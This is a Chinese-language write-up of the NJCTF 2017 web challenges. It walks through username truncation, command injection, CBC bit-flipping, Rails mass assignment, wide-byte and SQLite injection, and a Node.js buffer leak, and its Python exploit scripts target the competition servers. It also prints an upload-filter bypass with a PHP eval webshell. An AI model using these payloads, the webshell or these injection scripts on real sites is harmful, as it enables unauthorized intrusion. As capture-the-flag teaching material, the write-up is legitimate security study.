前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NJCTF Web部分writeup

NJCTF Web部分writeup

作者头像
LoRexxar
发布2023-02-21 16:52:26
2680
发布2023-02-21 16:52:26
举报
文章被收录于专栏:LoRexxar's Blog

又到了一年一度的比赛季,这次打了打赛宁自己办的NJCTF,这里稍微整理下Web部分的wp,虽然不知道题目是谁出的,但是我觉得大部分题目还是挺蠢的…看的人从中汲取自己想要的知识就好。

image_1bb32tqf61up77bn1mgpre7c4j9.png-135.1kB
image_1bb32tqf61up77bn1mgpre7c4j9.png-135.1kB
image_1bb32ubhv13cp1s2u1biup751ra9m.png-753kB
image_1bb32ubhv13cp1s2u1biup751ra9m.png-753kB
image_1bb32up8j1di9h6p1eg97fleh13.png-895.8kB
image_1bb32up8j1di9h6p1eg97fleh13.png-895.8kB

Web

Login

代码语言:javascript
复制
login?

没啥好玩的,注册的时候有超长用户名截断

原理就是用户名在check的时候是不同的,但是数据库字段保存是有长度的,所以会发生截断,注册中间为空格的超长用户名就可以截断为admin

Get Flag

代码语言:javascript
复制
别BB,来拿FLAG

PS:delay 5s

命令执行,没什么好说的。

cat 后用 & ls 列目录下文件 flag在../../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

Text Wall

存在.index.php.swo,然后可以找到原题

https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

题目源码

代码语言:javascript
复制
<?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_COOKIE['lists'])){
    $cookie = $_COOKIE['lists'];
    $hash = substr($cookie, 0, 40);
    $sha1 = substr($cookie, 40);
    if(sha1($sha1) === $hash){
        $lists = unserialize($sha1);
    }
}
if(isset($_POST['hiehiehie'])){
    $info = $_POST['hiehiehie'];
    $lists[] = $info;
    $sha1 = serialize($lists);
    $hash = sha1($sha1);
    setcookie('lists', $hash.$sha1);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Please Get Flag!!</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">  
  <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
  <script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
    <div class="jumbotron">
        <h1>Please Get Flag!!</h1>
    </div>
    <div class="row">
        <?php foreach($lists as $info):?>
            <div class="col-sm-4">
              <h3><?=$info?></h3>
            </div>
        <?php endforeach;?>
    </div>
    <form method="post" href=".">
        <input name="hiehiehie" value="hiehiehie">
        <input type="submit" value="submit">
    </form>
</div>
</body>
</html>

没啥说的,就把md5改成了sha1

Be admin

存在index.php.bak,cbc反转加密。配合sql注入。

题目不是我做的,所以不多扯了,贴上脚本

代码语言:javascript
复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import base64
import requests
import urllib

aa = ')\xa5\xa1\xec>)F\x119\xbc\xfcor\x11\xd9\xa4'
url = "http://218.2.197.235:23737/"
cookie = {"PHPSESSID":"qe6s9hjkpqrfcv07hf1ous71m7"}

iv = ["\x00"]*16
cipher = ['\x00', 236, 46, 92, 100, 49, 71, 211, 255, 106, 69, 3, 16, 13, 233, 54]

plain = "admin"
plain += 11*chr(11)
plain = list(plain)

# for i in xrange(16,17):
# 	for j in xrange(1,i):
# 		iv[16-i+j] = chr(cipher[16-i+j] ^ i)
# 	for x in xrange(218,256):
# 		iv[16-i] = chr(x)
# 		tmp_iv = "".join(iv)
# 		cookie['token'] = urllib.quote(base64.b64encode(tmp_iv))
# 		print cookie
# 		try:
# 			r = requests.get(url, cookies=cookie)
# 			print "%s"%x, r.content
# 		except:
# 			print cipher
# 			print x
# 			exit();
# 		if "ctfer!" in r.content:
# 			break
# 	else:
# 		print cipher
# 		exit();
# 	cipher[16-i] = x ^ i
# 	break

# print cipher

# for x in cipher:
# 	print hex(x)

plain = ['a', '\x88', 'C', '5', '\n', ':', 'L', '\xd8', '\xf4', 'a', 'N', '\x08', '\x1b', '\x06', '\xe2', '=']

for x in xrange(193,256):
	plain[0] = chr(x)
	tmp_p = "".join(plain)
	cookie['token'] = urllib.quote(base64.b64encode(tmp_p))
	r = requests.get(url, cookies=cookie)
	print x
	print r.content

这里坑特别大,服务器经常跑着跑着就被ban了,然后题目又是必须要跑的

blog

ruby web代码审计

从头看一遍基本上能发现这代码基本没什么功能,控制器里基本上就是关于user的东西,基本就是关于用户信息的增删改查。

所以问题其实基本就是出现在在这里。

image_1bb35c0pc1tnh19vi150lh7ma51u.png-78.7kB
image_1bb35c0pc1tnh19vi150lh7ma51u.png-78.7kB

数据库中关于admin字段的定义是默认为false,在注册函数里,admin是有输入的

image_1bb35dook13ad2va11hr1g1q1kg52b.png-21.4kB
image_1bb35dook13ad2va11hr1g1q1kg52b.png-21.4kB

而默认传入的时候是不输入的,那么问题也就在这里了,如果注册的时候传入user[admin]=1

那么账户就会被定义为admin,逛逛就能找到flag了

come on

这题在比赛时间内没能做出来,但实际上是我弱智了,题目不难,只是太久没见了,压根没想到,宽字节注入。

测试payload

代码语言:javascript
复制
http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23

http://218.2.197.235:23733/index.php?key=1%df%27||1=2%23

但是有一些东西被过滤了,比如union,大于小于号,还有大把多的盲注函数,最后就剩下left,这里有个函数叫做BINARY,用于比较

payload

代码语言:javascript
复制
# coding=utf-8

import requests
import random
import hashlib

s = requests.Session()


def get_flag():

	url='http://218.2.197.235:23733/index.php?key=123%df%27||'
	flag = ""

	payload = "if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23"

	for j in range(1,33):

		for i in range(20,120):

			r = get_data(url + payload.format(str(j), hex(i)))

			if "002265" in r:
				flag +=chr(i)
				print flag
				break


def get_data(url):
	r = s.get(url)
	return r.text

get_flag()

NJCTF{5H0W_M3_S0M3_sQ1i_TrICk5}

wallet

非常扯得是测试了很久,突然给了hint说压缩包密码是弱口令,才反应过来是有源码

http://218.2.197.235:23723/www.zip

跑一万条也没用,因为压缩包的密码是njctf2017,从这里就能发现出题人的无聊了。。。

下面是源码

代码语言:javascript
复制
<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else {
        if (sha1((string) $hsh) == md5((string) $auth)) {
            $auth = 1;
        } else {
            $auth = 0;
        }
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string) $s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLITE3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: {$result}";
        }
    } else {
        echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
    }
} else {
    echo "Sorry, not authorized.";
}

前面是弱类型比较,老梗了,这次是sha1和md5比较,随便跑跑就有了

https://www.whitehatsec.com/blog/magic-hashes/

接下来就是sqlite的注入了,一般来说,我们注入sqlite数据库,要从sqlite_master获取建表的语句以及表名,但是这里把sql列删除了,只能获得返回的表名

一共有两个表,flag表和my_wallets表,剩下的问题就是列了…但是想了很多办法都没办法在sqlite中跑,最后随手试了试id….

代码语言:javascript
复制
http://218.2.197.235:23723/admin.php?query=-1 union SELECT id FROM flag

Be Logical

稍后在整理吧

pictures wall

感觉是个弱智题目,首先是需要登录为root,但是随便登录进去的是个没用的账户,什么都改不了,结果是在登录的时候修改host为127.0.0.1,从代码里看是这样的

代码语言:javascript
复制
<?php
    require_once("./waf.php");
    if(isset($_POST["username"]) && isset($_POST["password"])){
        session_start();
        $ip = $_SERVER['HTTP_HOST'];
        if($ip == "::1" || $ip == "127.0.0.1"){
            $_SESSION["token"] = "0";
            header("Location: index.php");
        }else{
            $key = $_POST["username"] . "~:" . $_POST["password"];
            $_SESSION["token"] = base64_encode($key);
            header("Location: index.php");
        }
    }else{
        header("Location: login.html");
        exit();
    }
?>

然后是关键部分了,也就是绕过上传文件的waf,这里完全是白名单检测的,只有phtml可以不被改名

image_1bb3e0eq5ppbvk13rf1nrqhjn2o.png-188.2kB
image_1bb3e0eq5ppbvk13rf1nrqhjn2o.png-188.2kB

….迷一样的代码,上传图片,然后修改后缀为phtml,在图片后加入

代码语言:javascript
复制
<script language="php"> @eval($_POST[ddog])</script>

getshell

chall 1 2

说实话,原题还是不错的题目,但是不知道为什么强行被撕成了两题,还强行加入了脑洞…

做题能找到原题的wp https://www.smrrd.de/nodejs-hacking-challenge-writeup.html

但题目有改过,测试了下应该是在check密码的时候过了一层md5,在nodejs中,加密函数只接受字符串和buffer,所以原题的解法传入数字就会报错。

这里有个神奇的trick,在nodejs中,如果字符串中全是数字,字符串就会变成数字(真是神tmd…)

蓝猫师傅说并没有这种事情…这个和”1”==1的原理不同,这里是因为我盲猜了源码,github搜索bibibibibi什么的,可以找到真正的代码,然后这里的数据是过了parseInt,所以字符串被转成了数字。

代码语言:javascript
复制
import hashlib


str = 100000

while 1:
	m2 = hashlib.md5()   
	m2.update(repr(str))
	mm =m2.hexdigest()
	if 'a' not in mm:
		if 'b' not in mm:
			if 'c' not in mm:
				if 'd' not in mm:
					if 'e' not in mm:
						if 'f' not in mm:
							print str
							break
	str+=1

很快就跑到一个1518375,开始找缓冲区里的数据…有点儿蛋疼的是,flag比较少,我大概跑了1m左右的文字数据才找到flag

下面就是最大的脑洞问题了,上面找到的flag是这样的

代码语言:javascript
复制
NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}

但事实上,第二题就是原题中的思路,而flag1就是secretkey,但题目中并没有源码…

也就是如果你想做出第二题,需要上网找到原题的wp,然后下载代码,本地搭建然后修改默认为admin:yes,把cookie代入线上站,getflag2….

代码语言:javascript
复制
session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo

Guess

挺特别的一题,其实大部分思路都和hctf中的兵者多诡一样,但是这次的难点在于,文件名未知,我们来看看代码

代码语言:javascript
复制
upload.php



<?php
error_reporting(0);
function show_error_message($message)
{
    die("<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
    echo("<div class=\"msg success\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0,999999999);
    mt_srand($seed);
    $ss = mt_rand();
    $hash = md5(session_id() . $ss);
    setcookie('SESSI0N', $hash, time() + 3600);

    if ($_FILES["file"]["error"] > 0) {
        show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
    }
    $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
            || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/png"))
        && ($_FILES["file-upload-field"]["size"] < 204800));
    $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


    if ($check2) show_error_message("Nope!");
    if ($check1) {
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
            show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
        } else show_error_message("Something wrong with the upload...");
    } else {
        show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
    }
}
?>
代码语言:javascript
复制
index.php

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Upload</title>
    <link rel="stylesheet" href="http://fortawesome.github.io/Font-Awesome/assets/font-awesome/css/font-awesome.css">
    <link rel="stylesheet" href="CSS/upload.css">

</head>

<body>
<div class="msg info" id="message">
    <i class="fa fa-info-circle"></i>please upload an IMAGE file (gif|jpg|jpeg|png)
</div>
<div class="container">
    <form action="?page=upload" method="post" enctype="multipart/form-data" class="form">
        <div class="file-upload-wrapper" id="file" data-text="Select an image!">
            <label for="file-upload"> <input name="file-upload-field" type="file" class="file-upload-field" value=""
                                             id="file-upload"></label>
        </div>
        <div class="div">
            <input class="button" type="submit" value="Upload Image" name="submit">
        </div>
    </form>

    <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
    <script src="js/filename.js"></script>

</div>


</body>
</html>

<?php
error_reporting(0);

session_start();
if(isset($_GET['page'])){
    $page=$_GET['page'];
}else{
    $page=null;
}

if(preg_match('/\.\./',$page))
{
    echo "<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
    die();
}

?>

<?php

if($page)
{
    if(!(include($page.'.php')))
    {
        echo "<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
        exit;
    }
}
?>

很容易看到问题了,如果我们想要知道文件名,那就只能爆破随机数种子,看上去很大,事实上是能爆破出来的

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/03/13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • Login
      • Get Flag
        • Text Wall
          • Be admin
            • blog
              • come on
                • wallet
                  • Be Logical
                    • pictures wall
                      • chall 1 2
                        • Guess
                        相关产品与服务
                        数据库
                        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档